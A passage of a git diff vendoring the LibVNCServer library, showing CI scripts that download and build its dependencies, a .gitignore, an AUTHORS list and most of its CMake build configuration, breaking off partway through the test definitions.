- cd .. + # libPNG + - curl -fsSL -o libpng.tar.gz http://prdownloads.sourceforge.net/libpng/libpng-1.6.28.tar.gz?download + - 7z x libpng.tar.gz -so | 7z x -si -ttar > nul + - move libpng-1.6.28 libpng + - cd libpng + - cmake . -DZLIB_INCLUDE_DIR=..\zlib -DZLIB_LIBRARY=..\zlib\debug\zlibstaticd.lib + - cmake --build . + - cd .. + # Berkeley DB - required by SASL + - curl -fsSL -o db-4.1.25.tar.gz http://download.oracle.com/berkeley-db/db-4.1.25.tar.gz + - 7z x db-4.1.25.tar.gz -so | 7z x -si -ttar > nul + - move db-4.1.25 db + - cd db\build_win32 + - echo using devenv %DEVENV_EXE% + - '%DEVENV_EXE% db_dll.dsp /upgrade' + - msbuild /p:Configuration=Release db_dll.vcxproj + - cd ..\.. + # Cyrus SASL + - curl -fsSL -o cyrus-sasl-2.1.26.tar.gz https://www.cyrusimap.org/releases/cyrus-sasl-2.1.26.tar.gz + - 7z x cyrus-sasl-2.1.26.tar.gz -so | 7z x -si -ttar > nul + - move cyrus-sasl-2.1.26 sasl + - cd sasl + - patch -p1 -i ..\sasl-fix-snprintf-macro.patch + - echo using vsdevcmd %VSDEVCMD_BAT% + - '%VSDEVCMD_BAT%' + - nmake /f NTMakefile OPENSSL_INCLUDE=c:\OpenSSL-Win32\include OPENSSL_LIBPATH=c:\OpenSSL-Win32\lib DB_INCLUDE=c:\projects\libvncserver\deps\db\build_win32 DB_LIBPATH=c:\projects\libvncserver\deps\db\build_win32\release DB_LIB=libdb41.lib install + - cd .. + # go back to source root + - cd .. + +build_script: + - mkdir build + - cd build + - cmake --version + - cmake .. -DZLIB_INCLUDE_DIR=..\deps\zlib -DZLIB_LIBRARY=..\deps\zlib\debug\zlibstaticd.lib -DPNG_PNG_INCLUDE_DIR=..\deps\libpng -DPNG_LIBRARY=..\deps\libpng\debug\libpng16_staticd.lib -D SASL2_INCLUDE_DIR=c:\cmu\include -D LIBSASL2_LIBRARIES=c:\cmu\lib\libsasl.lib .. + - cmake --build . + - ctest -C Debug --output-on-failure + + diff --git a/3rdparty/libvncserver/.gitignore b/3rdparty/libvncserver/.gitignore new file mode 100644 index 0000000..8121c9d --- /dev/null +++ b/3rdparty/libvncserver/.gitignore @@ -0,0 +1,60 @@ +*.swp +*~ +Makefile +Makefile.in +LibVNCServer.spec.in +LibVNCServer.spec +libvncserver-config +*.pc +LibVNCServer*.tar.gz +config.h.in +rfbconfig.h +rfbconfig.h.in +*.o +*.a +*.so +*.so.* +client_examples/SDLvncviewer +client_examples/backchannel +client_examples/gtkvncviewer +client_examples/ppmtest +client_examples/vnc2mpg +build/ +examples/zippy +examples/backchannel +examples/blooptest +examples/camera +examples/colourmaptest +examples/example +examples/filetransfer +examples/fontsel +examples/mac +examples/pnmshow +examples/pnmshow24 +examples/regiontest +examples/repeater +examples/rotate +examples/simple +examples/simple15 +examples/storepasswd +examples/vncev +test/blooptest +test/cargstest +test/copyrecttest +test/cursortest +test/encodingstest +test/wstest +/test/tjbench +/test/tjunittest +vncterm/LinuxVNC +vncterm/VNCommand +vncterm/example +/vncterm/linuxvnc +/vncterm/vncommand +CMakeCache.txt +*.cmake +/CMakeFiles +/rfbproto.pdf +/rfbproto.rst +/vencrypt.txt +/INSTALL diff --git a/3rdparty/libvncserver/.travis.yml b/3rdparty/libvncserver/.travis.yml new file mode 100644 index 0000000..dde1238 --- /dev/null +++ b/3rdparty/libvncserver/.travis.yml @@ -0,0 +1,30 @@ +language: c +dist: trusty +sudo: required + +os: + - linux + - osx + +compiler: + - gcc + - clang + +before_install: +- | + if [[ "${TRAVIS_OS_NAME}" == "linux" ]]; then + CMAKE_URL="http://www.cmake.org/files/v3.7/cmake-3.7.2-Linux-x86_64.tar.gz" + mkdir -p ${TRAVIS_BUILD_DIR}/deps/cmake && travis_retry wget --quiet -O - ${CMAKE_URL} | tar --strip-components=1 -xz -C ${TRAVIS_BUILD_DIR}/deps/cmake + export PATH=${TRAVIS_BUILD_DIR}/deps/cmake/bin:${PATH} + fi + +# Build steps +script: + - mkdir build + - cd build + - if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then sudo apt-get update; sudo apt-get --no-install-suggests --no-install-recommends install libsdl2-dev liblzo2-dev; fi + - if [[ "${TRAVIS_OS_NAME}" == "osx" ]]; then brew update; brew install sdl2; fi + - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl; else cmake ..; fi + - cmake --build . + - ctest --output-on-failure + diff --git a/3rdparty/libvncserver/AUTHORS b/3rdparty/libvncserver/AUTHORS new file mode 100644 index 0000000..a91ccfa --- /dev/null +++ b/3rdparty/libvncserver/AUTHORS @@ -0,0 +1,46 @@ +* LibVNCServer (C) 2001 Johannes E. Schindelin +is based on +* Original OSXvnc (C) 2001 Dan McGuirk , +which in turn is based on +* Original Xvnc (C) 1999 AT&T Laboratories Cambridge. + +Lots of improvements of this library are thanks to +* TightVNC (C) 2000-2003 Const Kaplinsky + +The ZRLE compression scheme is from +* RealVNC (James "Wez" Weatherall, who helped also with regions) + +The good folks from +* KRFB (I think it was Tim Jansen) +helped also a lot (some *big* bugs!). + +Karl Runge provides an x11vnc, which is a much, much improved version of my +original proof-of-concept. It really deserves to replace the old version, +as it is a state-of-the-art, fast and usable program by now! However, he +maintains it and improves it still in amazing ways! + +The file transfer protocol from TightVNC was implemented by Rohit Kumar. +This includes an implementation of RFB protocol version 3.7t. + +Occasional important patches were sent by (in order I found the names in my +archives and please don't beat me, if I forgot you, but just send me an +email!): Akira Hatakeyama, Karl J. Runge, Justin "Zippy" Dearing, +Oliver Mihatsch, Greg Sternberg, Werner Hofer, Giampiero Giancipoli, +Glenn Mabutt, Paul Kreiner, Erik Kunze, Mike Frysinger, Martin Waitz, +Mark McLoughlin, Paul Fox, Juan Jose Costello, Andre Leiadella, +Alberto Lusiani, Malvina Mazin, Dave Stuart, Rohit Kumar, Donald Dugger, +Steven Carr, Uwe Völker, Charles Coffing, Guillaume Rousse, +Alessandro Praduroux, Brad Hards, Timo Ketola, Christian Ehrlicher, +Noriaki Yamazaki, Ben Klopfenstein, Vic Lee, Christian Beier, +Alexander Dorokhine, Corentin Chary, Wouter Van Meir, George Kiagiadakis, +Joel Martin, Gernot Tenchio, William Roberts, Cristian Rodríguez, +George Fleury, Kan-Ru Chen, Steve Guo, Luca Stauble, Peter Watkins, +Kyle J. McKay, Mateus Cesar Groess, Philip Van Hoof, D. R. Commander, +Rostislav Lisovy, Oliver Loch, Raphael Kubo da Costa, Amandeep Singh, +Brian Bidulock, Daniel Cohen Gindi, David Verbeiren, Luca Falavigna, +Matthias Treydte, Nicolas Ruff, Robbert Klarenbeek and Floris Bos. + + +Probably I forgot quite a few people sending a patch here and there, which +really made a difference. Without those, some obscure bugs still would +be unfound. diff --git a/3rdparty/libvncserver/CMakeLists.txt b/3rdparty/libvncserver/CMakeLists.txt new file mode 100644 index 0000000..873cc7b --- /dev/null +++ b/3rdparty/libvncserver/CMakeLists.txt @@ -0,0 +1,683 @@ +cmake_minimum_required(VERSION 3.4) +cmake_policy(SET CMP0037 NEW) + +project(LibVNCServer) +include(CheckFunctionExists) +include(CheckSymbolExists) +include(CheckIncludeFile) +include(CheckTypeSize) +include(TestBigEndian) +include(CheckCSourceCompiles) +include(CheckCSourceRuns) + +enable_testing() + +set(PACKAGE_NAME "LibVNCServer") +set(FULL_PACKAGE_NAME "LibVNCServer") +set(VERSION_MAJOR "0") +set(VERSION_MINOR "9") +set(VERSION_PATCHLEVEL "12") +set(VERSION_SO "1") +set(PACKAGE_VERSION "${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_PATCHLEVEL}") +set(PROJECT_BUGREPORT_PATH "https://github.com/LibVNC/libvncserver/issues") +set(LIBVNCSERVER_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver) +set(COMMON_DIR ${CMAKE_CURRENT_SOURCE_DIR}/common) +set(LIBVNCCLIENT_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libvncclient) +set(LIBVNCSRVEXAMPLE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/examples) +set(LIBVNCCLIEXAMPLE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/client_examples) +set(TESTS_DIR ${CMAKE_CURRENT_SOURCE_DIR}/test) +set(CMAKE_WINDOWS_EXPORT_ALL_SYMBOLS ON) +set(CMAKE_MODULE_PATH ${CMAKE_MODULE_PATH} "${CMAKE_SOURCE_DIR}/cmake/Modules/") + + +include_directories(${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/libvncserver ${CMAKE_CURRENT_SOURCE_DIR}/common) + +# all the build configuration switches +option(BUILD_SHARED_LIBS "Build shared libraries" ${UNIX}) +option(WITH_ZLIB "Search for the zlib compression library to support additional encodings" ON) +option(WITH_LZO "Search for the LZO compression library to omit internal miniLZO implementation" ON) +option(WITH_JPEG "Search for the libjpeg compression library to support additional encodings" ON) +option(WITH_PNG "Search for the PNG compression library to support additional encodings" ON) +option(WITH_SDL "Search for the Simple Direct Media Layer library to build an example SDL vnc client" ON) +option(WITH_THREADS "Search for a threading library to build with multithreading support" ON) +option(WITH_GNUTLS "Search for the GnuTLS secure communications library to support encryption" ON) +option(WITH_OPENSSL "Search for the OpenSSL cryptography library to support encryption" ON) +option(WITH_SYSTEMD "Search for libsystemd to build with systemd socket activation support" ON) +option(WITH_GCRYPT "Search for libgcrypt to support additional authentication methods in LibVNCClient" ON) +option(WITH_FFMPEG "Search for FFMPEG to build an example VNC to MPEG encoder" ON) +option(WITH_TIGHTVNC_FILETRANSFER "Enable filetransfer if there is pthreads support" ON) +option(WITH_24BPP "Allow 24 bpp" ON) +option(WITH_IPv6 "Enable IPv6 Support" ON) +option(WITH_WEBSOCKETS "Build with websockets support" ON) +option(WITH_SASL "Build with SASL support" ON) + + + +if(WITH_ZLIB) + find_package(ZLIB) +endif(WITH_ZLIB) + +if(WITH_LZO) + find_package(LZO) +endif() + +if(WITH_JPEG) + find_package(JPEG) + if(JPEG_FOUND) + # Check whether the version of libjpeg we found was libjpeg-turbo and print a + # warning if not. + set(CMAKE_REQUIRED_LIBRARIES ${JPEG_LIBRARIES}) + set(CMAKE_REQUIRED_FLAGS -I${JPEG_INCLUDE_DIR}) + + set(JPEG_TEST_SOURCE "\n + #include \n + #include \n + int main(void) {\n + struct jpeg_compress_struct cinfo;\n + struct jpeg_error_mgr jerr;\n + cinfo.err=jpeg_std_error(&jerr);\n + jpeg_create_compress(&cinfo);\n + cinfo.input_components = 3;\n + jpeg_set_defaults(&cinfo);\n + cinfo.in_color_space = JCS_EXT_RGB;\n + jpeg_default_colorspace(&cinfo);\n + return 0;\n + }") + + if(CMAKE_CROSSCOMPILING) + check_c_source_compiles("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) + else() + check_c_source_runs("${JPEG_TEST_SOURCE}" FOUND_LIBJPEG_TURBO) + endif() + + set(CMAKE_REQUIRED_LIBRARIES) + set(CMAKE_REQUIRED_FLAGS) + set(CMAKE_REQUIRED_DEFINITIONS) + + if(NOT FOUND_LIBJPEG_TURBO) + message(WARNING "*** The libjpeg library you are building against is not libjpeg-turbo. Performance will be reduced. You can obtain libjpeg-turbo from: https://sourceforge.net/projects/libjpeg-turbo/files/ ***") + endif() + endif(JPEG_FOUND) +endif(WITH_JPEG) + + +if(WITH_PNG) + find_package(PNG) +endif(WITH_PNG) + + +if(WITH_SDL) + find_package(SDL2) +endif(WITH_SDL) + + +if(WITH_THREADS) + find_package(Threads) +endif(WITH_THREADS) + + +if(WITH_GNUTLS) + find_package(GnuTLS) +endif(WITH_GNUTLS) + + +if(WITH_OPENSSL) + find_package(OpenSSL) +endif(WITH_OPENSSL) + + +if(WITH_SYSTEMD AND NOT ANDROID) + find_package(PkgConfig) + pkg_check_modules(SYSTEMD "libsystemd") +endif(WITH_SYSTEMD AND NOT ANDROID) + + +if(WITH_GCRYPT) + find_library(LIBGCRYPT_LIBRARIES gcrypt) +endif(WITH_GCRYPT) + +if(WITH_FFMPEG) + find_package(FFMPEG 3.1.0) +endif(WITH_FFMPEG) + + +check_include_file("endian.h" LIBVNCSERVER_HAVE_ENDIAN_H) +check_include_file("fcntl.h" LIBVNCSERVER_HAVE_FCNTL_H) +check_include_file("netinet/in.h" LIBVNCSERVER_HAVE_NETINET_IN_H) +check_include_file("sys/endian.h" LIBVNCSERVER_HAVE_SYS_ENDIAN_H) +check_include_file("sys/socket.h" LIBVNCSERVER_HAVE_SYS_SOCKET_H) +check_include_file("sys/stat.h" LIBVNCSERVER_HAVE_SYS_STAT_H) +check_include_file("sys/time.h" LIBVNCSERVER_HAVE_SYS_TIME_H) +check_include_file("sys/types.h" LIBVNCSERVER_HAVE_SYS_TYPES_H) +check_include_file("sys/wait.h" LIBVNCSERVER_HAVE_SYS_WAIT_H) +check_include_file("unistd.h" LIBVNCSERVER_HAVE_UNISTD_H) +check_include_file("sys/uio.h" LIBVNCSERVER_HAVE_SYS_UIO_H) + + +# headers needed for check_type_size() +check_include_file("vfork.h" LIBVNCSERVER_HAVE_VFORK_H) +check_include_file("ws2tcpip.h" LIBVNCSERVER_HAVE_WS2TCPIP_H) +check_include_file("arpa/inet.h" HAVE_ARPA_INET_H) +check_include_file("stdint.h" HAVE_STDINT_H) +check_include_file("stddef.h" HAVE_STDDEF_H) +check_include_file("sys/types.h" HAVE_SYS_TYPES_H) + +# error out if required headers not found +if(NOT HAVE_STDINT_H) + message(FATAL_ERROR "Could NOT find required header stdint.h") +endif() + +check_function_exists(gettimeofday LIBVNCSERVER_HAVE_GETTIMEOFDAY) +check_function_exists(vfork LIBVNCSERVER_HAVE_VFORK) +check_function_exists(vprintf LIBVNCSERVER_HAVE_VPRINTF) +check_function_exists(mmap LIBVNCSERVER_HAVE_MMAP) +check_function_exists(fork LIBVNCSERVER_HAVE_FORK) +check_function_exists(ftime LIBVNCSERVER_HAVE_FTIME) +check_function_exists(gethostbyname LIBVNCSERVER_HAVE_GETHOSTBYNAME) +check_function_exists(gethostname LIBVNCSERVER_HAVE_GETHOSTNAME) +check_function_exists(inet_ntoa LIBVNCSERVER_HAVE_INET_NTOA) +check_function_exists(memmove LIBVNCSERVER_HAVE_MEMMOVE) +check_function_exists(memset LIBVNCSERVER_HAVE_MEMSET) +check_function_exists(mkfifo LIBVNCSERVER_HAVE_MKFIFO) +check_function_exists(select LIBVNCSERVER_HAVE_SELECT) +check_function_exists(socket LIBVNCSERVER_HAVE_SOCKET) +check_function_exists(strchr LIBVNCSERVER_HAVE_STRCHR) +check_function_exists(strcspn LIBVNCSERVER_HAVE_STRCSPN) +check_function_exists(strdup LIBVNCSERVER_HAVE_STRDUP) +check_function_exists(strerror LIBVNCSERVER_HAVE_STRERROR) +check_function_exists(strstr LIBVNCSERVER_HAVE_STRSTR) + +check_symbol_exists(htobe64 "endian.h" LIBVNCSERVER_HAVE_HTOBE64) +check_symbol_exists(OSSwapHostToBigInt64 "libkern/OSByteOrder.h" LIBVNCSERVER_HAVE_OSSWAPHOSTTOBIGINT64) + +if(Threads_FOUND) + set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${CMAKE_THREAD_LIBS_INIT}) +endif(Threads_FOUND) +if(ZLIB_FOUND) + set(LIBVNCSERVER_HAVE_LIBZ 1) +else() + unset(ZLIB_LIBRARIES) # would otherwise contain -NOTFOUND, confusing target_link_libraries() +endif(ZLIB_FOUND) +if(LZO_FOUND) + set(LIBVNCSERVER_HAVE_LZO 1) +else() + unset(LZO_LIBRARIES CACHE) # would otherwise contain -NOTFOUND, confusing target_link_libraries() +endif() +if(JPEG_FOUND) + set(LIBVNCSERVER_HAVE_LIBJPEG 1) +else() + unset(JPEG_LIBRARIES) # would otherwise confuse target_link_libraries() +endif(JPEG_FOUND) +if(PNG_FOUND) + set(LIBVNCSERVER_HAVE_LIBPNG 1) +endif(PNG_FOUND) +if(NOT OPENSSL_FOUND) + unset(OPENSSL_LIBRARIES) # would otherwise contain -NOTFOUND, confusing target_link_libraries() +endif() +if(SYSTEMD_FOUND) + add_definitions(-DLIBVNCSERVER_WITH_SYSTEMD) + include_directories(${SYSTEMD_INCLUDE_DIRS}) + set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${SYSTEMD_LIBRARIES}) +endif(SYSTEMD_FOUND) + +if(LIBVNCSERVER_HAVE_SYS_UIO_H) + if(GNUTLS_FOUND) + message(STATUS "Building crypto with GnuTLS") + set(CRYPTO_LIBRARIES ${GNUTLS_LIBRARIES}) + set(CRYPTO_SOURCES ${COMMON_DIR}/rfbcrypto_gnutls) + include_directories(${GNUTLS_INCLUDE_DIR}) + elseif(OPENSSL_FOUND) + message(STATUS "Building crypto with OpenSSL") + set(CRYPTO_LIBRARIES ${OPENSSL_LIBRARIES}) + set(CRYPTO_SOURCES ${COMMON_DIR}/rfbcrypto_openssl) + else() + message(STATUS "Building crypto with builtin functions") + set(CRYPTO_SOURCES ${COMMON_DIR}/rfbcrypto_included.c ${COMMON_DIR}/md5.c ${COMMON_DIR}/sha1.c) + endif() + set(LIBVNCSERVER_HAVE_CRYPTO 1) +endif(LIBVNCSERVER_HAVE_SYS_UIO_H) + + +if(WITH_WEBSOCKETS AND LIBVNCSERVER_HAVE_CRYPTO AND (LIBVNCSERVER_HAVE_HTOBE64 OR LIBVNCSERVER_HAVE_OSSWAPHOSTTOBIGINT64)) + set(LIBVNCSERVER_WITH_WEBSOCKETS 1) +endif() + +if(WITH_GCRYPT AND LIBGCRYPT_LIBRARIES) + message(STATUS "Found libgcrypt: ${LIBGCRYPT_LIBRARIES}") + set(LIBVNCSERVER_WITH_CLIENT_GCRYPT 1) + set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${LIBGCRYPT_LIBRARIES}) +endif(WITH_GCRYPT AND LIBGCRYPT_LIBRARIES) + +if(GNUTLS_FOUND) + set(LIBVNCSERVER_HAVE_GNUTLS 1) +endif(GNUTLS_FOUND) + +if(OPENSSL_FOUND) + set(LIBVNCSERVER_HAVE_LIBSSL 1) +endif(OPENSSL_FOUND) + +if(WITH_IPv6) + if(WIN32 AND LIBVNCSERVER_HAVE_WS2TCPIP_H AND LIBVNCSERVER_HAVE_VPRINTF) + set(LIBVNCSERVER_IPv6 1) + endif() + if(NOT WIN32) + set(LIBVNCSERVER_IPv6 1) + endif() +endif(WITH_IPv6) + + +if(WITH_24BPP) + set(LIBVNCSERVER_ALLOW24BPP 1) +endif() + + +if(CMAKE_USE_PTHREADS_INIT) + set(LIBVNCSERVER_HAVE_LIBPTHREAD 1) +endif(CMAKE_USE_PTHREADS_INIT) +if(LIBVNCSERVER_HAVE_SYS_SOCKET_H) + # socklen_t + list(APPEND CMAKE_EXTRA_INCLUDE_FILES "sys/socket.h") +endif(LIBVNCSERVER_HAVE_SYS_SOCKET_H) +if(HAVE_ARPA_INET_H) + # in_addr_t + list(APPEND CMAKE_EXTRA_INCLUDE_FILES "arpa/inet.h") +endif(HAVE_ARPA_INET_H) + +check_type_size(pid_t LIBVNCSERVER_PID_T) +check_type_size(size_t LIBVNCSERVER_SIZE_T) +check_type_size(socklen_t LIBVNCSERVER_SOCKLEN_T) +check_type_size(in_addr_t LIBVNCSERVER_IN_ADDR_T) +if(NOT HAVE_LIBVNCSERVER_IN_ADDR_T) + set(LIBVNCSERVER_NEED_INADDR_T 1) +endif(NOT HAVE_LIBVNCSERVER_IN_ADDR_T) + +TEST_BIG_ENDIAN(LIBVNCSERVER_WORDS_BIGENDIAN) + +if(WITH_SASL) + find_path(SASL2_INCLUDE_DIR sasl/sasl.h) + find_library(LIBSASL2_LIBRARIES sasl2 libsasl.lib) +endif(WITH_SASL) + +if(WITH_SASL AND LIBSASL2_LIBRARIES AND SASL2_INCLUDE_DIR) + message(STATUS "Building with SASL: ${LIBSASL2_LIBRARIES} and ${SASL2_INCLUDE_DIR}") + set(LIBVNCSERVER_HAVE_SASL 1) + set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ${LIBSASL2_LIBRARIES}) + include_directories(${SASL2_INCLUDE_DIR}) +endif(WITH_SASL AND LIBSASL2_LIBRARIES AND SASL2_INCLUDE_DIR) + +# TODO: +# LIBVNCSERVER_ENOENT_WORKAROUND +# inline + +configure_file(${CMAKE_CURRENT_SOURCE_DIR}/rfb/rfbconfig.h.cmakein ${CMAKE_BINARY_DIR}/rfb/rfbconfig.h) + +set(LIBVNCSERVER_SOURCES + ${LIBVNCSERVER_DIR}/main.c + ${LIBVNCSERVER_DIR}/rfbserver.c + ${LIBVNCSERVER_DIR}/rfbregion.c + ${LIBVNCSERVER_DIR}/auth.c + ${LIBVNCSERVER_DIR}/sockets.c + ${LIBVNCSERVER_DIR}/stats.c + ${LIBVNCSERVER_DIR}/corre.c + ${LIBVNCSERVER_DIR}/hextile.c + ${LIBVNCSERVER_DIR}/rre.c + ${LIBVNCSERVER_DIR}/translate.c + ${LIBVNCSERVER_DIR}/cutpaste.c + ${LIBVNCSERVER_DIR}/httpd.c + ${LIBVNCSERVER_DIR}/cursor.c + ${LIBVNCSERVER_DIR}/font.c + ${LIBVNCSERVER_DIR}/draw.c + ${LIBVNCSERVER_DIR}/selbox.c + ${COMMON_DIR}/d3des.c + ${COMMON_DIR}/vncauth.c + ${LIBVNCSERVER_DIR}/cargs.c + ${LIBVNCSERVER_DIR}/ultra.c + ${LIBVNCSERVER_DIR}/scale.c +) + +set(LIBVNCCLIENT_SOURCES + ${LIBVNCCLIENT_DIR}/cursor.c + ${LIBVNCCLIENT_DIR}/listen.c + ${LIBVNCCLIENT_DIR}/rfbproto.c + ${LIBVNCCLIENT_DIR}/sockets.c + ${LIBVNCCLIENT_DIR}/vncviewer.c +) + +if(JPEG_FOUND) + set(LIBVNCCLIENT_SOURCES + ${LIBVNCCLIENT_SOURCES} + ${COMMON_DIR}/turbojpeg.c + ) +endif() + +if(GNUTLS_FOUND) + set(LIBVNCCLIENT_SOURCES + ${LIBVNCCLIENT_SOURCES} + ${LIBVNCCLIENT_DIR}/tls_gnutls.c + ) + set(LIBVNCSERVER_SOURCES + ${LIBVNCSERVER_SOURCES} + ${LIBVNCSERVER_DIR}/rfbssl_gnutls.c + ) + include_directories(${GNUTLS_INCLUDE_DIR}) +elseif(OPENSSL_FOUND) + set(LIBVNCCLIENT_SOURCES + ${LIBVNCCLIENT_SOURCES} + ${LIBVNCCLIENT_DIR}/tls_openssl.c + ) + set(LIBVNCSERVER_SOURCES + ${LIBVNCSERVER_SOURCES} + ${LIBVNCSERVER_DIR}/rfbssl_openssl.c + ) + include_directories(${OPENSSL_INCLUDE_DIR}) +else() + set(LIBVNCCLIENT_SOURCES + ${LIBVNCCLIENT_SOURCES} + ${LIBVNCCLIENT_DIR}/tls_none.c + ) + set(LIBVNCSERVER_SOURCES + ${LIBVNCSERVER_SOURCES} + ${LIBVNCSERVER_DIR}/rfbssl_none.c + ) +endif() + +if(LIBVNCSERVER_HAVE_SASL) + set(LIBVNCCLIENT_SOURCES + ${LIBVNCCLIENT_SOURCES} + ${LIBVNCCLIENT_DIR}/sasl.c + ) +endif() + +if(ZLIB_FOUND) + add_definitions(-DLIBVNCSERVER_HAVE_LIBZ) + include_directories(${ZLIB_INCLUDE_DIR}) + set(LIBVNCSERVER_SOURCES + ${LIBVNCSERVER_SOURCES} + ${LIBVNCSERVER_DIR}/zlib.c + ${LIBVNCSERVER_DIR}/zrle.c + ${LIBVNCSERVER_DIR}/zrleoutstream.c + ${LIBVNCSERVER_DIR}/zrlepalettehelper.c + ) +endif(ZLIB_FOUND) + +if(LZO_FOUND) + add_definitions(-DLIBVNCSERVER_HAVE_LZO) + include_directories(${LZO_INCLUDE_DIR}) +else() + set(LIBVNCSERVER_SOURCES + ${LIBVNCSERVER_SOURCES} + ${COMMON_DIR}/minilzo.c + ) + set(LIBVNCCLIENT_SOURCES + ${LIBVNCCLIENT_SOURCES} + ${COMMON_DIR}/minilzo.c + ) +endif() + +if(JPEG_FOUND) + add_definitions(-DLIBVNCSERVER_HAVE_LIBJPEG) + include_directories(${JPEG_INCLUDE_DIR}) + set(TIGHT_C ${LIBVNCSERVER_DIR}/tight.c ${COMMON_DIR}/turbojpeg.c) +endif(JPEG_FOUND) + +if(PNG_FOUND) + add_definitions(-DLIBVNCSERVER_HAVE_LIBPNG) + include_directories(${PNG_INCLUDE_DIR}) +endif(PNG_FOUND) + +set(LIBVNCSERVER_SOURCES + ${LIBVNCSERVER_SOURCES} + ${TIGHT_C} +) + +if(WITH_TIGHTVNC_FILETRANSFER AND CMAKE_USE_PTHREADS_INIT) + set(LIBVNCSERVER_SOURCES + ${LIBVNCSERVER_SOURCES} + ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/rfbtightserver.c + ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/handlefiletransferrequest.c + ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/filetransfermsg.c + ${LIBVNCSERVER_DIR}/tightvnc-filetransfer/filelistinfo.c + ) +endif(WITH_TIGHTVNC_FILETRANSFER AND CMAKE_USE_PTHREADS_INIT) + +if(LIBVNCSERVER_WITH_WEBSOCKETS) + add_definitions(-DLIBVNCSERVER_WITH_WEBSOCKETS) + set(LIBVNCSERVER_SOURCES + ${LIBVNCSERVER_SOURCES} + ${LIBVNCSERVER_DIR}/websockets.c + ${LIBVNCSERVER_DIR}/ws_decode.c + ${COMMON_DIR}/base64.c + ${CRYPTO_SOURCES} + ) +endif(LIBVNCSERVER_WITH_WEBSOCKETS) + +add_library(vncclient ${LIBVNCCLIENT_SOURCES}) +add_library(vncserver ${LIBVNCSERVER_SOURCES}) +if(WIN32) + set(ADDITIONAL_LIBS ${ADDITIONAL_LIBS} ws2_32) +endif(WIN32) + +target_link_libraries(vncclient + ${ADDITIONAL_LIBS} + ${ZLIB_LIBRARIES} + ${LZO_LIBRARIES} + ${JPEG_LIBRARIES} + ${GNUTLS_LIBRARIES} + ${OPENSSL_LIBRARIES} +) +target_link_libraries(vncserver + ${ADDITIONAL_LIBS} + ${ZLIB_LIBRARIES} + ${LZO_LIBRARIES} + ${JPEG_LIBRARIES} + ${PNG_LIBRARIES} + ${CRYPTO_LIBRARIES} + ${GNUTLS_LIBRARIES} + ${OPENSSL_LIBRARIES} +) + +SET_TARGET_PROPERTIES(vncclient vncserver + PROPERTIES SOVERSION "${VERSION_SO}" VERSION "${PACKAGE_VERSION}" +) + +# EXAMPLES +set(LIBVNCSERVER_EXAMPLES + backchannel + camera + colourmaptest + example + fontsel + pnmshow + pnmshow24 + regiontest + repeater + rotate + simple + simple15 + storepasswd + vncev + ) + +if(CMAKE_USE_PTHREADS_INIT) + set(LIBVNCSERVER_EXAMPLES + ${LIBVNCSERVER_EXAMPLES} + blooptest + ) +endif(CMAKE_USE_PTHREADS_INIT) + +if(WITH_TIGHTVNC_FILETRANSFER AND CMAKE_USE_PTHREADS_INIT) + set(LIBVNCSERVER_EXAMPLES + ${LIBVNCSERVER_EXAMPLES} + filetransfer + ) +endif(WITH_TIGHTVNC_FILETRANSFER AND CMAKE_USE_PTHREADS_INIT) + +if(MACOS) + set(LIBVNCSERVER_EXAMPLES + ${LIBVNCSERVER_EXAMPLES} + mac + ) +endif(MACOS) + +if(ANDROID) + set(LIBVNCSERVER_EXAMPLES + ${LIBVNCSERVER_EXAMPLES} + androidvncserver + ) +endif(ANDROID) + +set(LIBVNCCLIENT_EXAMPLES + backchannel + ppmtest +) + +if(SDL2_FOUND) + include_directories(${SDL2_INCLUDE_DIR}) + set(LIBVNCCLIENT_EXAMPLES + ${LIBVNCCLIENT_EXAMPLES} + SDLvncviewer + ) +endif(SDL2_FOUND) + +if(FFMPEG_FOUND) + set(LIBVNCCLIENT_EXAMPLES + ${LIBVNCCLIENT_EXAMPLES} + vnc2mpg + ) +endif(FFMPEG_FOUND) + + +file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/examples) +foreach(e ${LIBVNCSERVER_EXAMPLES}) + add_executable(examples_${e} ${LIBVNCSRVEXAMPLE_DIR}/${e}.c) + set_target_properties(examples_${e} PROPERTIES OUTPUT_NAME ${e}) + set_target_properties(examples_${e} PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/examples) + target_link_libraries(examples_${e} vncserver ${CMAKE_THREAD_LIBS_INIT}) +endforeach(e ${LIBVNCSERVER_EXAMPLES}) + +file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/client_examples) +foreach(e ${LIBVNCCLIENT_EXAMPLES}) + add_executable(client_examples_${e} ${LIBVNCCLIEXAMPLE_DIR}/${e}.c ${LIBVNCCLIEXAMPLE_DIR}/${${e}_EXTRA_SOURCES} ) + set_target_properties(client_examples_${e} PROPERTIES OUTPUT_NAME ${e}) + set_target_properties(client_examples_${e} PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/client_examples) + target_link_libraries(client_examples_${e} vncclient ${CMAKE_THREAD_LIBS_INIT} ${SDL2_LIBRARY} ${FFMPEG_LIBRARIES}) +endforeach(e ${LIBVNCCLIENT_EXAMPLES}) + + +# +# them tests +# + +if(UNIX) + set(ADDITIONAL_TEST_LIBS m) +endif(UNIX) + +set(SIMPLETESTS + cargstest + copyrecttest +) + +if(CMAKE_USE_PTHREADS_INIT) + set(SIMPLETESTS + ${SIMPLETESTS} + encodingstest + ) +endif(CMAKE_USE_PTHREADS_INIT) + +file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/test) +foreach(t 